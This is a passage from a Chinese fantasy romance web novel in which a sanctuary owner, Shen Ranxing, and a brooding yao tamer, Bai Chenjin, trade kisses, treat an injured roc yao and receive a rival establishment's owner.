可话音未落,白尘烬已猛地俯身,带着一种近乎惩罚的力道,重重地吻住了她的唇。 这个吻霸道而急促,掠夺着她的呼吸,唇齿间全是他的气息,让她头脑昏沉,几乎要窒息。 她的大脑霎时间一片空白,只能被动地承受着这个几乎令人窒息的吻。 就在她以为自己要融化在这片灼热中时,他才猛地松开。 新鲜的空气涌入肺腑,带来一阵眩晕。 紧接着,一只温热的大手覆上了她的双眼,视线顿时陷入一片黑暗。 一吻过后,沈染星的唇比平日红艳,微微张着,浅浅又急促地呼吸。 她等了好半晌,也不见白尘烬有所动作。 她抬手,扯了一下白尘烬的手。 没扯动。 “……白尘烬?”她忍不住叫了一声。 “嗯。”他声音沙哑得厉害,听得她耳根一阵酥麻。 可他依旧没有松开覆在她眼睛上的手。 沈染星有些看不透他的意图:“怎么了?” 这一次白尘烬并未回答,胸口急促起伏了一下,低头看向不受控的那一处。 自从他中毒的那次,她吻了他之后,他便如同害了无可救药的病症一般,不仅心跳不可控,连自己的欲望控制不了了。 他不想她看到。 否则,不知她会做出什么事来。 白尘烬看着她的唇,眼神幽暗。 他用理智筑起冰冷的高墙,警告自己保持距离,因为靠近只会带来无法掌控的后果,无论是于她,还是于他。 可她那双清澈又执着的眼睛望向她时,他所有的防线都形同虚设。 他还是回来了,甚至比以前更糟糕。 他没忍住,带着压抑许久的冲动,亲了她。 她的气息是暖的,笑容是软的,一旦靠近,像最致命的诱惑,让他想不顾一切地沉沦。 更糟糕的是,亲吻了她之后,欲望非但没有缓解,反而愈演愈烈。 阻止事态继续恶化的唯一办法,便是离开。 他强迫自己收回视线。 这时,沈染星感到一轻,覆在眼上的手松开了。 她眨了下眼,环顾四周。 ……人居然又不见了。 翌日上午,阳光透过窗棂,在书案上投下斑驳的光影,沈染星正在书房处理一些日常账目和信件。 昨晚白尘烬一整晚未回。 每次两人关系更进一步,白尘烬都会逃避一段时间,她早已习以为常。 她不是原书女主萧霁雪,和他没有命定的缘分,却破坏了他本来的秩序,侵入了他的情感,他需要时间去平复。 总之,按照先前的经验,不过两三天,他便会自己回来。 沈染星坐在案桌前,展开一封信件,刚看到“天瑶庄”这个熟悉的名字,便响起了敲门声。 “进来。” 门吱呀地开了,石多磊略显狼狈,站在书房门口,脸上带着几分困惑和无奈。 “东家,不好了,那只大鹏鸟……情况有点棘手。”石多磊挠了挠头,开口道。 又他妈,是这句开场白! 不气不气,不急不急。 沈染星哄好自己,面无表情,抬起头,放下手中的信:“怎么了,伤势恶化了吗?” “那倒不是……”石多磊连忙摆手,“是性子太烈了,昨天它伤重昏迷,你过去草草处理伤口时,它没什么反应。今天我寻思着得给它好好清洗一下伤口,再上点细致的药膏,谁知还没进笼子呢,那家伙就睁开了眼。” 石多磊心有余悸地比划着:“好家伙,那双鹰眼,金灿灿的,瞪得像铜铃,又凶戾,又戒备,喉咙里发出威胁的低吼,翅膀虽然受伤抬不起来,但那扑腾的气势……” 沈染星:“说重点。” 石多磊小声道:“我靠近不了它,一靠近,就像是要和我拼命的样子。” “雪拂在也镇不住吗?” “昨日和明月吵架了,正罢工呢,谁也不敢去请……” 沈染星一拍自己脑门,差点忘了这茬。 那对冤家三天一小吵,半月一大吵,还时不时冷战……一旦火气上来了,谁劝都没用。 这一次还是有史以来,最严重的一次。 请得动才奇怪。 拜那两位幼稚鬼所赐,这共生苑总有种摇摇欲坠,即将要散伙的危机感。 沈染星叹了口气:“阿盈试过了吗,或者院里其他温和些的小妖?” 同族或者气息更无害的人或许容易接近些。 石多磊苦笑:“都试过了,没人能靠近。” 沈染星沉吟不语。 这大鹏妖抗拒一切靠近,疗伤之事便无法进行。 伤势若恶化,之前的一切打算都成了空谈。 更重要的是,这种极度排外的态度,本身就说明了很多问题。 它不相信任何人,包括救了它的恩人。 这种心防,比身体的伤势更难处理。 要合作,难呐! “它……似乎只对东家你没那么大敌意。”石多磊犹豫了一下,补充道,“昨天你处理伤口时,它虽然没醒,但身体是放松的。今天我去的时候,它明明闭着眼,可我一路进那个范围,它立刻就惊醒戒备了,这差别,也太明显了。” 石多磊说的是事实,估计是她懂妖语,与妖经常打交道的缘故,也一定程度上练就了一身亲近妖的本领。 在这里,若是用亲近妖这一能力排名,她是断层第一的存在。 但昨天她在安抚大鹏妖时,白尘烬那表情虽说一贯的平静,可他气息阴冷得几乎要拧断大鹏妖脖子…… 那个整个过程她都是心惊胆战的。 不知为何,白尘烬对大鹏妖敌意极大,比其他人,其他妖的还大。 她还去,他估计会跳脚。 不过…… 她转头四望,他现下不在。 沈染星站起身,对石多磊道:“把伤药和干净的布帛备好,我去试试。” 后院的一个厢房里,摆着一个特制金属笼子,笼柱上刻画着繁复的符文,隐隐流动着压制妖力的光芒。 像这般危险性未知,实力也不弱的妖,一般会先关在这里,防止它们暴起伤人。 笼中的大鹏妖体型大概一个成年男子大小,奄奄一息,蜷缩在角落里。 它十分抗拒这牢笼,即使伤痕累累,它依旧昂着起头颅,金色的瞳孔愤怒又不屈,死死盯着走近的沈染星。 察觉到她不停靠近,它喉咙里立刻发出警告意味的呜咽,低沉而沙哑,庞大的身躯微微绷紧,做出防御姿态。 沈染星全神贯注地看着它,见它如此抗拒,她也非常紧张。 随着距离接近。 大鹏妖的姿势由防御姿态变作攻击姿态。 沈染星停下了脚步。 她试图用平缓的语气安抚它:“别怕,我只是来帮你处理伤口,没有恶意。” 她缓缓伸出手,示意自己空无一物,动作尽可能地放慢,放轻。 待它情绪缓和了些后,她又一点点缩短距离。 眼看着即将到了笼子边,大鹏妖又猛地警惕起来,脏污的毛都炸起来了,沈染星还未来得及反应。 肩头忽地压下了一道重量。 “!” 沈染星全身的汗毛瞬间炸起,惊得差点叫出声来! 她猛地回头,心脏狂跳不止。 冷不丁对上了白尘烬幽蓝的眼眸。 他不知何时出现在她身后,没有一丝声响。 “你!”沈染星惊魂未定,抚着胸口,气息不稳,“你怎么一点声音都没有,你他妈差点把我吓出心脏病了!” 沈染星也不知自己是因他突然的出现而被吓到,还是明知他不喜,自己还偷偷来见大鹏妖,被抓个现成而受到惊吓。 总之,她破口大骂了。 骂得白尘烬愣好半晌。 他静静看着她。 这是她第一次这般骂他。 心头因见她温柔靠近那妖物的而团起的郁气,竟然散了不少。 甚至还有些……高兴。 他看了她几息,没有回答她的质问,他的目光越过她,落在笼中那只大鹏妖身上。 大鹏妖因他的出现,瞬间变得更加焦躁,甚至隐隐透出一丝恐惧。 这是对驯妖师的恐惧。 “它不对劲。”白尘烬的声音低沉,听不出情绪。 沈染星还未开口,又听见他说:“你靠得太近了。” 说着,搭在她肩上的手,微微将她向后带了一步,拉开了她与笼子的距离。 沈染星定了定神,压下被惊吓后的心悸。 不知他这一次为何提前回来了,但他似乎没了昨日的那份怒气,反而……好像有些高兴? 白尘烬在她眼中,行为也好,心情也罢,总是莫名其妙的。 她压下对这点变化的思考,说道:““它的伤势太重,伤口若不仔细清理上药,会溃烂感染的,到时候就真的救不回来了。” 她心里记挂着云老先生的委托,也更不忍心看着一个生灵在自己眼前死去。 白尘烬的目光从大鹏妖身上收回,转而落在沈染星的脸上,担忧之色显而易见,明显到刺目。 灰蓝色的眼眸里,有什么情绪极快地闪过,快得让人抓不住,但沈染星却敏锐地感觉到,周遭的空气似乎更冷了几分。 沈染星:…… 刚刚不是还挺高兴的吗? 怎么忽然间又变脸了? 白尘烬眼尾勾起一抹淡淡的笑意:“我来。” 沈染星愕然抬头,几乎以为自己听错了。 白尘烬?他来给一只桀骜不驯、浑身血污的大鹏妖上药? 他杀人在行,驯妖也在行,可她从未听过他会耐心给人疗伤,甚至原书中写他给自己上药也无比随意粗糙。 更何况还是一个他讨厌的妖物。 他今日是怎么了? “……不用了。”沈染星下意识地拒绝。 她担心他把妖直接给搞死了。 还不是故意的那种,而是技术太差……即便有心治疗,也会把治疗对象搞死那种。 白尘烬压着性子,和她对视。 他可不想再看着她为那只扁毛畜生蹙眉,再听见她用轻柔耐心的声音安抚那只昏迷的废物…… 一想到她用指尖小心翼翼地触摸那些狰狞的伤口…… 一种陌生又尖锐的情绪猝不及防地刺了他一下。 甚至她对他也未曾做过这些事。 一种内心深处的不悦席卷而来,带着灼人的温度,让他几乎想立刻将她的注意力彻底拉回自己身上。 这种情绪来得汹涌且不讲道理,连他自己都微微怔住。 “我现下给他上药,或是我现下便拧断它脖子,”他带着笑意,冷冷道:“你选。” 沈染星:…… 威胁,明晃晃的威胁,简直无法无天了。 好吧,他是可以无法无天。 为了保住大鹏妖,保住她的一千两,沈染星还不放弃,心里飞快地找着理由。 不能直说“我觉得你现在情绪不对劲,怕你手重直接把妖弄死”或者“你靠近它,它会更紧张”…… 这只会进一步激怒他。 沈染星眼神飘忽,落在了他垂在身侧的手上。 那里整齐地缠着一段素净的帛带。 “你手上还绑着这个呢,”沈染星道,“清理伤口要碰水,还会沾上血污药膏,肯定会把你这么干净的素帛弄脏的,多不方便……” 她的理由听起来合情合理,甚至带着点为他考虑的体贴。 他没有立刻反驳,只是垂眸,视线落在自己那只被提及的手上。 然后,再缓缓抬起手,停在她眼前,目光重新锁住沈染星有些躲闪的目光。 “就因为这个?” 他的手,确实如沈染星所说,从小臂开始,便被一段素帛细致地缠绕包裹着,质地上乘,洁白如雪,帛带贴合着肌肉的线条,一路向下,严密地覆盖了手掌,直至指根处,只露出修长有力的手指。 这装扮给他平添了几分禁欲而神秘的气息。 沈染星在他的注视下,压力倍增,感觉自己那点小心思无所遁形。 她连他的手也不敢多看,点头:“是。” 白尘烬敏锐,一下就听出了这只是推脱之辞。 可他喜欢听她说这样关心他的话,即便并不纯粹,甚至根源是关心其他人。 他不在意。 他没有戳穿,只是顿了片刻,随即,慢条斯理地抬起另一只手,开始解那缠绕得工整的帛带。 他的动作不疾不徐,指尖灵巧地挑开隐秘的结扣。 沈染星的目光不由自主地被吸引了过去,抬起头。 一圈,一圈,他缓慢而专注,将那长长的素帛从手臂上松解下来。 沈染星心跳漏了一拍。 他这是在做什么? 为了不让她去给大鹏妖上药,亲自动手,而把手上的素帛解开吗? 回应她心中猜测似的,柔软的帛带在他指尖滑动,仿佛带着某种从容的节奏。 随着帛带的剥离,他手臂的线条逐渐显露出来。 他素帛下的肌肤没有异样,可许是没见过,如今逐渐暴露在空气中,她居然产生了一种禁忌感。 手掌修长,肌理流畅,肤色是冷调的白,与那雪色帛带几乎融为一体。 她心跳微微加速。 他随意将这一段素帛重新缠绕,紧凑地束在腕间作为固定,一只完整的手呈现在她眼前。 见她还没表示,白尘烬还把手举到她眼前。 他骨节分明,手指修长得近乎完美,指甲修剪得干净整齐,透着健康的淡粉色。 这是只手适合执剑,也适合抚琴的,冷白的皮肤下,淡青色的血管若隐若现,充满了冷静而禁欲的美感,却又无端透出一种隐晦的侵略性。 沈染星看得有些怔住了,心中莫名生出一丝口干舌燥之感。 她从未如此仔细地打量过他的手,此刻才惊觉,这双手本身,就带着一种令人心折的吸引力。 不知是震撼他就这么松开了手上的素帛,还是惊叹于他的手…… 她的目光一时之间忘了收敛。 白尘烬正欲开口,察觉到了她那过于专注,甚至称得上赤.裸的凝视。 那目光流连在他的手指、关节、乃至每一寸裸露的皮肤上,灼热得让他指尖几不可察地微微蜷缩了一下。 他素来不喜被人如此直视,尤其还是这般……带着品鉴意味的注视。 一股不自在感悄然蔓延,仿佛有细微的电流,顺着她的视线,爬过他的手臂。 但奇异的是,这不自在之中,又混杂着一丝淡淡的……愉悦。 他捕捉到她眼中那毫不掩饰的欣赏,甚至是一闪而过的惊艳。 原来,她喜欢他的手。 这个认知,让他想用手抚摸她的脸庞,她的鬓发,她的脖颈,甚至…… 白尘烬呼吸渐渐加重,拳头一握,收回手,止住了那些躁动的想法。 “现在,可以了?” 他出声打破这诡异的沉默,双手自然垂在身侧,暴露在她灼热的视线下。 空气中弥漫开一种令人心跳加速的氛围。 沈染星似是没听见他的话。 白尘烬低哑着声音:“还不行?” 沈染星一抬头,对上了白尘烬的目光,后知后觉地意识到自己的失态,脸颊轰地一下烧了起来。 她慌忙移开视线,心跳如擂鼓。 谁能想到,她一身英明,差点毁在他一双手上! 好半天,她才勉强镇定下来:“……可以了。” 白尘烬不再看她,转而去一侧拿药,走近那光芒流转的禁锢笼。 笼中的大鹏妖在他逼近的瞬间,全身残缺翎羽炸起,喉咙里发出愈发凄厉的低吼,金色的瞳孔里写满了恐惧与绝望的抗拒。 白尘烬目光冰冷无波,全然不在意,它的所挣扎都变得微弱而徒劳。 他给它处理伤口,动作不能说是不温柔,简直是残暴,现场跟杀鸡死的,极其惨烈。 看着他一把按住大鹏妖因疼痛而抽搐的翅膀根部,力道之大,沈染星在一旁看得心惊肉跳,生怕他下一瞬,就直接将这重伤的妖物骨头捏碎。 大鹏妖痛苦的哀鸣响彻房间,身体剧烈颤抖,白尘烬却眉头都没皱一下,动作迅捷而精准,效率极高,却也冷酷得让人心头发寒。 沈染星屏住呼吸,既担心大鹏妖承受不住,又不敢出声打扰。 也不知,再给这大鹏妖一次机会,还会不会抗拒石多磊它们…… 她正想着,白尘烬的动作顿住了。 他的手停留在大鹏妖胸腹处一道最深的伤口。 沈染星顿时警铃大作,该不会真的弄死了吧?! “怎么了!”她连忙上前一步,紧张地问道,“……是伤口有什么问题吗?” 其实她差点脱口而出的是“你真的把妖给治死了吗?” 好在及时刹住了。 白尘烬瞥了一眼她过激的反应,淡淡道:“他的妖丹有问题。” 还好还好,没死就好。 沈染星松了口气,问道:“不见了?” 白尘烬摇头:“是被人动过手脚,和之前那条蛇妖的情况,如出一辙。” 沈染星猛地瞪大了眼睛:“你是说,他也曾经被驯服过,但是如今自由了?” 白尘烬点头。 这大鹏妖的情况,和那蛇妖苍赦一般,被驯服后,妖丹也被刻了符咒,被驯化成半傀儡,然后又被抹去了符文,放了,得了自由。 沈染星轻轻叹了口气。 那这只大鹏妖的逃亡,恐怕根本不是意外。 可既然放了它,为何灵缉司的还要追捕。 该不会也犯了什么事吧…… 大鹏妖不愿沟通,她这不是黑店,自然也不能严刑拷问。 既然有缘,救了,沈染星决定先救着,其余事情以后再说。 接下来,白尘烬利落地处理好了大鹏妖伤,最后的包扎看起来甚至还不错。 沈染星在一旁看着,不得不承认,他虽然手法粗暴,技术还是可以的。 处理完毕,白尘烬将剩余的药品和染血的布帛随手放回药箱,走到一旁早已备好的水盆边,仔仔细细地清洗双手。 冰凉的水流冲刷过指缝,洗去了血迹,却洗不掉脑海里翻涌的念头。 他看着沉在水底的手。 就是这双手,让她曾流露出那种专注到近乎痴迷的眼神。 一个想法,荒谬又灼人,不受控制地窜入脑海—— 既然她……对这双手抱有如此隐秘的好感。 那么,倘若用这刚刚浸过冷水,还带着湿意与微凉的手指,去触碰她呢? 是触碰她温热的肌肤,她是会惊得微微一颤,还是会屏住呼吸,任由那点凉意在她肌肤上晕开,继而激起更滚烫的温度…… 这想法让他的喉咙有些发紧。 他从水中抽出手,指尖滴落晶莹水珠,转身,朝着她走去。 沈染星一无所觉,就站在不远处,等着他一步步走近。 第42章 她有故意的成分 日光在白尘烬周身镀上了一层暖金色的光边, 衬得他眉眼柔和。 他与她印象中的那个形象,越来越近了。 沈染星看着他不急不缓,向自己走近,心跳莫名地又开始加速。 她喜欢白尘烬。 她自己也说不清, 这一份情感, 是从何时开始的。 或许最初, 只是沉溺于他出现时带来的那种心跳失速的刺激,不受控制的悸动,像给苍白的灵魂撒上杂乱又浓重的色彩。 后来, 是习惯性地依赖他无声却强大的保护, 有他在身边, 再大的危险似乎也只是寻常。 再后来,他离开了。 起初她觉得没什么,甚至隐隐有种挣脱束缚的轻松感,可日子一天天过去,那份轻松愈发轻了, 轻到她不知虚实, 轻到这一切似乎都是假的, 只需风轻轻一吹, 便散了干净。 心口像是被挖走了一块,空落落的。 她并非生性坚强的人,为了填补那块空缺,只能拼命地用各种琐事、任务、甚至是与其他人的喧闹来塞满自己的生活,假装一切如常。 可只有她自己知道, 那些都是徒劳。 直到他再次出现,哪怕只是沉默地站在不远处,那份从心底深处升腾起的踏实感, 才让她恍然明白。 原来那块缺失的部分,一直都在他那里。 沈染星觉得自己现在脑子不太清醒,低下头,看着自己的鞋尖,试图把脑海里那双骨节分明的手,强行替换成这个月的收支账目。 可惜失败了,那双手的影像就像他本人一样,带着强烈的存在感,蛮横地占据了她所有的思绪。 直到阴影笼罩下来,她才猛地回神。 一抬头,就撞进他灰蓝色的眼眸里。 那里面像是藏了一场即将降临的暴风雪前的天空,平静,却压得人喘不过气。 她在想要找一个什么样的话题,打破这一方寂静, 还没想好,一只手就猝不及防地抚上了她的脸颊,带着冰凉水汽,温柔得吓人。 沈染星被冰得一激灵。 这行为简直是火上浇油。 几颗未被擦净的水珠顺着他的指尖滑落,沿着她的颈线,一路凉飕飕的,滚进衣领深处,留下几道暧昧的湿痕。 她心脏狂跳,脸颊不受控制地迅速升温,冷热交替,体验感极其分裂。 她能感觉到他指尖的薄茧,缓缓摩挲着她的皮肤,往下探去。 这动作太过亲昵,也太过突然。 她一时间忘了反应,目光像是被钉住了,只能直勾勾地看着他。 因为距离太近,她甚至能看清他低垂的眼睫,以及那素帛边缘下,若隐若现的紧绷下颌线。 之前不是没有这样近距离接触过,可那时他们更像是革命般的友谊,各取所需,始终隔着一层什么。 如今那一层若有若无的隔阂没了,心靠得更近了,两人此刻气氛热烈得不像话。 她的目光几乎要烧起来,凝视着白尘烬。 白尘烬眼睫一抬,倏地被她目光烫到,连带掌心下的肌肤温度高得烫人。 他原本只是想……只是想验证一下那个荒谬的念头,却发现这根本不够。 他是贪婪的。 可一想到极致的接近后,是分别,一种想要退缩的本能涌了上来。 他猛地撤回了手。 为了掩饰这瞬间的失控,他迅速低头,解下腕间的素帛,一言不发地开始缠绕。 沈染星愣愣地看着他又急刹车。 本想逼他更进一步,可他动作虽不紧不慢,细看之下,那缠绕素帛的手,带着细细的颤抖。 算了,先放了他一马吧。 平静了几日,那大鹏妖伤势已好了不少。 石多磊又一次风风火火地撞开了书房的门,脸上写着“大事不妙”四个大字。 “东家!不好了!查到了,关于那大鹏妖的……”他气都没喘匀,就把一卷皱巴巴的兽皮卷轴展开,拍在了沈染星面前。 这开场白,听得沈染星太阳穴突突地跳。 她深吸一口气,才从一堆账本里抬起头:“又怎么了,它的伤恶化了?” “不是伤,是习性。”石多磊指着卷轴上的古老文字,声音发紧,“我托了好几个妖族老学究才查到的,这大鹏一族,天生就不是群居的料子,独来独往,领地意识极强。” “而且……特别容易暴躁,一旦被惹毛,或者觉得领地受了侵犯,那真是六亲不认,往死里招呼。” 沈染星听得一愣一愣的。 石多磊咽了口唾沫,继续道:“最要命的是,它们还小心眼,非常记仇。” “怎么个记仇法,总不会是恩将仇报的那种吧?” “这倒不至于,我打听过,曾有猎户不小心伤了一只幼鹏,几十年后,那猎户的孙子都被那只成了精的大鹏找上门来报复……大概是这种程度。” 沈染星松了口气:“我看我们这大鹏,除了刚开始凶了点,后来好像还挺……安分的?” 可能是那日白尘烬的上药手法太过于粗暴,自那之后,那大鹏妖居然愿意让其他人靠近了。 甚至可以说是,来者不拒。 所以后续都是石多磊在照顾。 石多磊想了一下,道:“的确还算安分,虽然算不上温顺,但也绝对跟暴躁伤人,领地意识极强扯不上关系。” “不过,”石多磊话头一转,“不能确定是不是因伤重,权宜之下,而伪装出来的安分表象。” 沈染星眉头轻蹙,看着皱巴巴的兽皮卷轴。 如果石多磊查到的属实,那这大鹏妖就是个一点就炸的火药桶,还是个自带超长待机记仇功能的。 把它留在院里,就像个不定时炸弹。 石多磊试探道:“东家,您看……要不要趁它现在还没恢复,也没正式结下什么梁子,赶紧……请它走?” 他做了个请出去的手势。 意思很明显,明哲保身,趁早丢了这个烫手山芋。 “不行。” 沈染星想都没想,立刻拒绝。 石多磊傻眼:“啊,为什么啊,这留着不是祸害吗?” 沈染星道:“首先,它伤还没好,我们现在把它赶出去,可能还会遇上缉灵司,像它这种没结契也没被驯服的,遇上那些人,不死也脱一层皮。” “你觉得以它那极度记仇的性子,会怎么想?它会不会觉得我们抛弃它,反而恨上我们,那还不记恨上我们几十年的。” 石多磊张了张嘴,发现无法反驳。 好像是这个理儿……现在赶它走,未必能撇清关系,反而可能提前引爆仇恨。 从它落入这个共生苑的那一刻,就已经注定无法摆脱了。 难怪那卷轴上描述的言辞……那样激烈,简直到了闻所未闻,见所未见的程度。 石多磊看着沈染星认真权衡利弊的侧脸,心里忽然有点感慨。 东家抠门是抠门了点,其实心肠还挺软的。 应当也有所不忍吧,毕竟是一条生命。 难怪院里那些大大小小的妖,一开始明明怕人怕得要死,却都对东家有着一种莫名的亲近和信任。 东家对妖,无论是强是弱,是温顺是凶戾,似乎总存着一份基本的尊重和考量,不会轻易放弃,也不会盲目滥善。 这份心思,确实无可指摘。 “那咱们现在怎么办?”石多磊收回心思,问道。 沈染星沉吟片刻,下了决定:“既然捡回来了,就好生养着,先把伤治好。至于以后……等它伤好了,我们再开诚布公地谈。如果它愿意留下,并且能遵守院里的规矩,那自然最好。如果它向往自由,或者与我们理念不合,那就备上程仪,客客气气送它离开。” 石多磊:“那谁负责看……” 沈染星抬起头,眼神清澈而坚定:“多磊,那辛苦你多加照顾了。” 石多磊指着自己,不可置信。 这烫手山芋怎么甩到他手上了? 相处得越久,靠得越近,就越容易得罪那大鹏妖。 他可不想几十年后,自己的孙子还被寻上门去报复。 他不乐意道:“这差事太危险了……” 沈染星根本不听:“我看好你。” “不是……” 沈染星静静看着他,他嘴巴一闭,把拒绝的话吞了回去了。 不过还是要给自己争取些好处:“这事风险可不小,那工钱……” 沈染星冷漠打断:“没得商量。” 说完,她便低头继续看账单了。 石多磊:…… 他要收回那句话。 她心肠一点都不软! 简直硬得要命,是淬了火的玄铁,又冷又硬,刀劈不开,水滴不穿!- 自从上次被对家阴了一把,差点身败名裂之后,沈染星就深刻领悟到了“情报就是生命线”这个硬道理。 她不再只顾着自己这一亩三分地,开始悄悄撒网,收集各路竞争对手的消息。 而最近,就属天瑶庄的动作最大。 甚至前几日,秦昭的来信里,除了照例的公文往来和几句不着痕迹的问候,也夹杂了一条看似不经意,但与之相关的信息。 天瑶庄那边,似乎又在酝酿新动作,打算将几家因经营不善濒临破产的妖院合并收购。 前不久才购置了陷害她的那几家,再久远些,也收了伏妖居。 沈染星当时看着信纸,心里就咯噔了一下。 天瑶庄本就财大气粗,底蕴深厚,再这么不断吞并扩张,实力只会像滚雪球一样越滚越大,到时候不会盯上自己吧。 不出她所料。 对方的动作很快。 这天下午,一封拜帖直接送到了沈染星的案头,措辞客气,甚至带着几分仰慕之情的。 帖子上赫然盖着天瑶庄的徽印,落款是天瑶庄的东家,李瑶光。 说是久闻她治理妖院有方,特来拜访学习。 这摆明了是醉翁之意不在酒。 很可能是吞并了其他几家之后,把主意打到了她这也日益壮大的共生苑头上。 先来探探虚实,摸摸底细,看看有没有软柿子可捏。 沈染星放下拜帖,目光又落回到一旁秦昭的那封信上。 秦昭特意在信里提这么一句,不像是随口一提的公事公办。 沈染星拿起信件,再细细读了一遍。 以秦昭的谨慎和位置,他透露这种尚未完全公开的消息,本身就有一定风险。 而且,这消息来得这么巧,刚好在天瑶庄拜帖送达的前几天…… 她越想越觉得,这更像是秦昭一种隐晦的提醒。 如果没有他的提醒,她可能还不会这样快意识到天瑶庄的意图。 沈染星正对着秦昭的信笺出神。 一股极淡的冷冽气息自身后悄然逼近,带着一种无声的压迫感。 她甚至来不及回头,一只手便从她肩侧伸了过来,骨节分明,冷白修长,目标明确,直取她手中的信纸。 沈染星几乎在那只手触碰到信纸的前一瞬,手腕灵巧地一翻,将信纸紧紧按在了胸前。 同时侧身半步,险险避开了那只手的范围。 她转过身,抬眼望去。 白尘烬慢条斯理收回手。 薄唇紧抿,眉眼笑得温柔,周身却散发出的极低的气压,让书房里的温度都仿佛骤降了几分。 他没有继续上前抢夺,也没有说话,笑意不达眼底,注视着她。 沈染星走到窗边,靠在墙壁上,朝他笑了笑。 她有故意的成分。 她知道他对自己和秦昭之间的任何联系都异常敏感,刚才看信时,就分出了一半心神留意着周围的动静,果然等来了他这出其不意的偷袭。 论武力,十个自己加起来也不是他的对手,可她也不介意他拿走这封信。 “你亲我一下,”她晃了晃手中那张薄薄的信纸,“我就把这封信给你。” 第43章 他对她根本没有任何抵抗…… 白尘烬目光愈发阴冷, 几乎要转为愤怒,看起来像是要拧断她这不知死活的脖子。 “你察觉到我来了,”他道,“故意拿起那封信出神。” 沈染星道:“是啊。” 承认得干脆利落。 “你想做什么?” 这还用问, 吃你豆腐啊! 当然, 这话不能直说。 “我喜欢你, ”她直白又认真道,“所以我想和你更亲近些。” 这话她说得真心实意,万分诚恳, 奈何对面的人像是天生自带防御屏障, 躲避意味十足。 寂静的书房里, 他像是冰湖掠过的微风,无声无息地侵入她的方寸之地。她于这气息中心神摇曳,像离港的扁舟,被他冷淡的态度牵引着,漂向未知的方向。 沈染星对折信纸, 借着窗边洒进来的光打量着白尘烬的脸。白尘烬垂着头, 阳光照入他的眼底, 竟意外地揉碎了几分寒意, 显出一种近乎温软的错觉。 有一瞬间,沈染星几乎以为他要应下了,旋即她就发现,那不过是阳光制造的假象。 连昨天那点罕见的温柔,此刻回想起来也像是昙花一现, 短暂得让人怀疑是否真实发生过。 他对她的占有欲无可置疑,可不代表心也放在了她身上。 罢了罢了,再刺激下去, 恐怕真要适得其反了。 沈染星不再靠墙,直起身:“好了好了,不逗你了,其实这就是一份业务上的信,跟秦昭本人没多大关系。” 白尘烬瞥了一眼她手中那封已然被折起的信。 沈染星把信捏在手里,心有不甘,眼珠一转,小声道:“信可以给你,但我有一个要求。” 她实际上脑子里一片空白,根本没想好要提什么要求,只是本能地不想让他太轻易得逞。 就这么轻易给他,总觉得太便宜他了。 可事实上,他也没等她想到可以提什么要求。 他几步跨到她面前,距离瞬间近得能感受到彼此的呼吸。 在沈染星惊愕的目光中,他微微侧头,扯开了脸上的素帛,精准地覆上了她的唇瓣。 沈染星震惊地瞪大双眼。 白尘烬覆上了她的眼睛,遮去了所有光线,也隔绝了她惊愕的视线。 另一只手则有力地扣住了她的腰背,手掌宽大,几乎横跨了她纤细的腰身,将她牢牢固定在他与墙壁之间。 这个吻不同于之前的急躁掠夺,他轻轻勾缠着她的舌尖,滚烫的气息顺着相贴的唇瓣传进她口中。 他吻得下颌轻动,喉结轻滚。 沈染星不知是因震惊,还是被这过于强烈的感官冲击剥夺了思考能力,她没有反应。 甚至在他的攻势下,身体微微后仰,呈现出一种近乎任他予取予求的姿态。 这种全然由他掌控的感觉,让白尘烬从头顶到神经末梢都掠过一阵过电般的战栗。 他内心深处根本不信她那句喜欢,固执地认为她另有所图,一遍遍告诫自己保持警惕,可身体却先于理智投降了。 他对她,根本没有任何抵抗力。 沈染星整个人几乎完全靠腰间他手掌的支撑下,才勉强站稳。 反应过来后,心脏这时才开始疯狂擂鼓,双腿发软,她下意识就想后退一步。 白尘烬也更进一步,膝盖强势地抵进她的双膝之间。 她身后抵住了冰冷的墙壁,退无可退。 白尘烬眼神陡然变得锐利,凝视着仰着头的她,目光锐利如刀,几乎要抵进来。 沈染星的手下意识地撑在他坚实的肩头。 白尘烬松开她的眼,扣住她手腕,直接举过头顶,牢牢按在了墙上。 亲吻的动作陡然加重,愈发深入,用力吮吸着她的舌尖,强势得近乎野蛮。 一阵混乱而急促的厮磨,唇齿交缠间热度攀升,情形几乎要变得一发不可收拾。 沈染星觉得一阵眩晕,以为接下来会发生更失控的事情。 腰间那只滚烫的手却突然撤去了。 与此同时,她一直攥在手中,被揉成皱巴巴的信纸也被轻轻抽走。 新鲜的空气涌入肺腑,带来一阵冰冷的清醒。 沈染星茫然地睁开眼,对上的是白尘烬已经恢复了几分清明的眼眸。 “信,”白尘烬哑声道:“我拿走了。” 说完,他便真的头也不回地离开了。 沈染星靠在墙壁上,许久也没想明白。 他不是已经拒绝了吗?怎么又自己凑上来了? 天瑶庄少东家李瑶光是个行动派,不过两日过去,便前来拜访。 天气晴好,他被乔阿盈引着步入前厅时,沈染星已候在那里。 李瑶光身着月白云纹锦袍,腰系玉带,貌若好女,眉眼含笑,有些雌雄莫辨的意味。 沈染星见到他,是有些惊讶的。 他与她想象中的形象差距甚大。 李瑶光乍一看,不像是个执掌庞大妖庄,手段凌厉的少东家,反倒更像是个家境优渥年轻公子。 他言行举止处处合礼,谈吐文雅,对沈染星这位晚辈也表现得十分客气。 若非沈染星早已深知其底细,恐怕真会被他这温文尔雅的表象所迷惑。 越是如此,她心中警惕越高。 毕竟,传说中那些被天瑶庄吞并的妖院,可没几个是好聚好散的,这位秀美少东家,绝对是位心狠手辣的主。 寒暄过后,李瑶光便状似无意地将话题引向了妖院的经营之道,言语间流露出对共生苑的浓厚兴趣。 沈染星也笑得非常职业,与他聊得有来有回。 李瑶光话头一转,想要到后院看看。 沈染星知道,以天瑶庄的势力,真想打探,自己这院子里的情况恐怕早就被摸了个七七八八,遮遮掩掩反而显得小家子气。 既然他想去看,也无大碍。 于是,沈染星干脆地答应了下来。 李瑶光一向认为妖性难管,不相信会有未驯服便可使唤的妖,认为她这里还有不为人知的事。 而且是连他也没能查出来的事。 他想不到沈染星居然答应得这样爽快,眼中闪过一丝讶异,随即从善如流地笑道:“有劳沈东家了。” 两人便一前一后走向后院。 一路上,李瑶光跟在沈染星身侧,随意点评着景致,目光偶尔扫过在阳光下或嬉戏,或修炼,或昏睡的小妖。 他看到几只猴妖为了争夺一颗果子追打嬉闹,毫无规矩可言,甚至还有几个明显道行尚浅的小妖,居然敢大着胆子好奇地打量他…… 李瑶光讲究等级秩序,这一切,在他看来,都透着一股散漫,落后,甚至有些不成体统的作派。 心中不免生出几分轻视与不喜。 心想这新起之秀,也不过如此。 李瑶光正与沈染星说着话,思绪一顿。 他居然觉得自在。 不过才一刻钟不到,他便习惯了这里的氛围。 